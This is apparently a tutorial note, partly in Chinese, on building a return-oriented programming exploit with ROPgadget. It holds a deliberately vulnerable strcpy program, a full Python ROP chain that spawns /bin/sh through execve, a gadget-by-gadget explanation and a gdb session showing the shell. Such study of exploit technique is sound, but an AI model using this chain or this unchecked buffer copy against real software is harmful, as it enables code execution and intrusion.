[ROP] use ROPgadget to chain gadgets

sample.c

#include <string.h>
void function(char *a){
        char buff[40];
        strcpy(buff,a);
}

int main(int argc, char** argv){
    if(argc>=2)
        function(argv[1]);
}

$ gcc sample.c -o sample -static -g -fno-stack-protector 

$ ./ROPgadget.py --binary sample --ropchain 
and you will get the python code

Offset it to replace saved EIP
$ vim exploit.py

#!/usr/bin/env python2
# execve generated by ROPgadget
from struct import pack

# Padding goes here
p = ''
p += 'a'*52
p += pack('<I', 0x08056fba) # pop edx ; ret
p += pack('<I', 0x080ef060) # @ .data
p += pack('<I', 0x080c2156) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0808e77d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08056fba) # pop edx ; ret
p += pack('<I', 0x080ef064) # @ .data + 4
p += pack('<I', 0x080c2156) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0808e77d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08056fba) # pop edx ; ret
p += pack('<I', 0x080ef068) # @ .data + 8
p += pack('<I', 0x080513d0) # xor eax, eax ; ret
p += pack('<I', 0x0808e77d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481ec) # pop ebx ; ret
p += pack('<I', 0x080ef060) # @ .data
p += pack('<I', 0x080e3a8e) # pop ecx ; ret
p += pack('<I', 0x080ef068) # @ .data + 8
p += pack('<I', 0x08056fba) # pop edx ; ret
p += pack('<I', 0x080ef068) # @ .data + 8
p += pack('<I', 0x080513d0) # xor eax, eax ; ret
p += pack('<I', 0x0809a346) # inc eax ; ret
p += pack('<I', 0x0809a346) # inc eax ; ret
p += pack('<I', 0x0809a346) # inc eax ; ret
p += pack('<I', 0x0809a346) # inc eax ; ret
p += pack('<I', 0x0809a346) # inc eax ; ret
p += pack('<I', 0x0809a346) # inc eax ; ret
p += pack('<I', 0x0809a346) # inc eax ; ret
p += pack('<I', 0x0809a346) # inc eax ; ret
p += pack('<I', 0x0809a346) # inc eax ; ret
p += pack('<I', 0x0809a346) # inc eax ; ret
p += pack('<I', 0x0809a346) # inc eax ; ret
p += pack('<I', 0x080493b9) # int 0x80
print p

目標是執行 execve ("/bin // sh", NULL, NULL)

call int 0x80 時
 eax = 0x0b  //run execve syscall
 ebx = pointer to the string "/ bin / sh" 
 ecx = 0x0 
 edx = 0x0

補充 ret會pop下一個stack的位置當return addr

p += pack('<I', 0x08056fba) # pop edx ; ret
p += pack('<I', 0x080ef060) # @ .data
pop edx存data的位置

p += pack('<I', 0x080c2156) # pop eax ; ret
p += '/bin'
pop eax存"/bin" (大小32bits = 4bytes 存/bin剛好)

p += pack('<I', 0x0808e77d) # mov dword ptr [edx], eax ; ret
把eax的值(/bin)，寫入到edx(data)的位置

"/sh"也用一樣的方法，塞在data+4的位置

p += pack('<I', 0x080481ec) # pop ebx ; ret
p += pack('<I', 0x080ef060) # @ .data
最後把ebx存入data的位置
也就是string "/bin/sh"的存放位置
大功告成!

$ gdb sample
(gdb) set args "`./exploit.py`"
(gdb) b 5
(gdb) r
(gdb) i f
Stack level 0, frame at 0xbffff260:
 eip = 0x8048ef8 in function (sample.c:5); saved eip 0x8056fba
(gdb) c
Continuing.
process 3623 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
$

download ROPgadget from:
http://shell-storm.org/project/ROPgadget/
reference:
http://www.ellaberintodefalken.com/2013/08/ROP-Return-Oriented-Programming.html